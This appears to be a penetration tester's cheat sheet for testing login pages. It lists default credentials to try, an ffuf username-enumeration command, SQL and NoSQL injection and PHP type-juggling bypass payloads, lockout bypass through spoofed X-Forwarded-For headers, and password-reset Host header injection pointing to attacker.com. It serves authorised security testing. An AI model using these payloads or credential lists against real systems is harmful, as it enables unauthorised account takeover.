// APPROACH — WHAT TO TEST ON EVERY LOGIN PAGE
- Before touching inputs — read the login flow carefully. Single factor? MFA? SSO? OAuth?
- Check the request in Burp — is it GET or POST? What fields are submitted? Hidden fields?
- Test authentication AND logic around it — registration, password reset, account lockout, remember me
- Always test from multiple account contexts — anonymous, normal user, privileged user, deleted account
Default & Common Credentials — Try These First
| Username | Password Combinations to Try |
| admin | admin, password, 123456, admin123, Password1, changeme, letmein, Welcome1 |
| administrator | administrator, admin, password, 1234 |
| root | root, toor, password, 123456 |
| test / demo | test, demo, 123456, password |
| [company name] | [company]123, [company]@2024, [company]! |
Username Enumeration
Many apps reveal whether a username exists through different error messages. This is a medium severity finding and enables targeted brute-force.
| Scenario | Vulnerable Response | Secure Response |
| Invalid username | "Username does not exist" | "Invalid username or password" |
| Valid user, wrong password | "Incorrect password" | "Invalid username or password" |
| Password reset — bad email | "No account found with this email" | "If this email exists, a reset link was sent" |
| Response time difference | Valid user takes longer (bcrypt computed) | Constant-time comparison needed |
# ffuf username enumeration — look for response size/code difference
ffuf -u https://target.com/login -X POST -d "username=FUZZ&password=wrongpassword123" -H "Content-Type: application/x-www-form-urlencoded" -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt -mc all -ac -o enum_results.json
Authentication Bypass Payloads
| Payload | Type | How It Works |
| admin'-- | SQLi login bypass | Comments out password check in SQL query |
| ' OR '1'='1'-- | SQLi auth bypass | Always-true condition bypasses authentication logic |
| {"username":"admin","password":{"":""}} | NoSQL injection (MongoDB) | $gt operator matches any non-empty string as password |
| {"username":"admin","password":{"":"x"}} | NoSQL injection | $ne (not equal) matches any password that isn't "x" |
| username=admin&password[]= | PHP type juggling | Array vs string loose comparison returns true |
| X-Original-URL: /admin | Header-based bypass | Some proxies/apps honor override headers for routing |
Account Lockout & Rate Limiting Tests
| Test | How to Test | Finding |
| No lockout at all | Send 100 wrong password attempts — does account lock? | HIGH — full brute-force possible |
| Lockout bypass via IP header | 9 attempts → change X-Forwarded-For → 9 more | HIGH — lockout bypass |
| Lockout bypass via case variation | Try ADMIN, Admin, [email protected] for same account | MED — case normalization missing |
| No CAPTCHA after N failures | 100 failed attempts — no CAPTCHA presented | MED — automated attack facilitated |
Password Reset Vulnerability Testing
| Attack | How to Test | Severity |
| Host header injection | Intercept reset request in Burp → change Host: attacker.com → check if reset email link points to your domain | HIGH |
| Weak/predictable token | Request 5 reset tokens → are they sequential, short, or MD5 of timestamp? | CRITICAL |
| Token not invalidated after use | Complete password reset → use same reset URL again 10 min later — still works? | HIGH |
| Token not invalidated on new request | Request token 1 → request token 2 → use token 1 — still valid? | HIGH |
| No rate limiting on resets | Request 50 reset emails — does server throttle? | MED |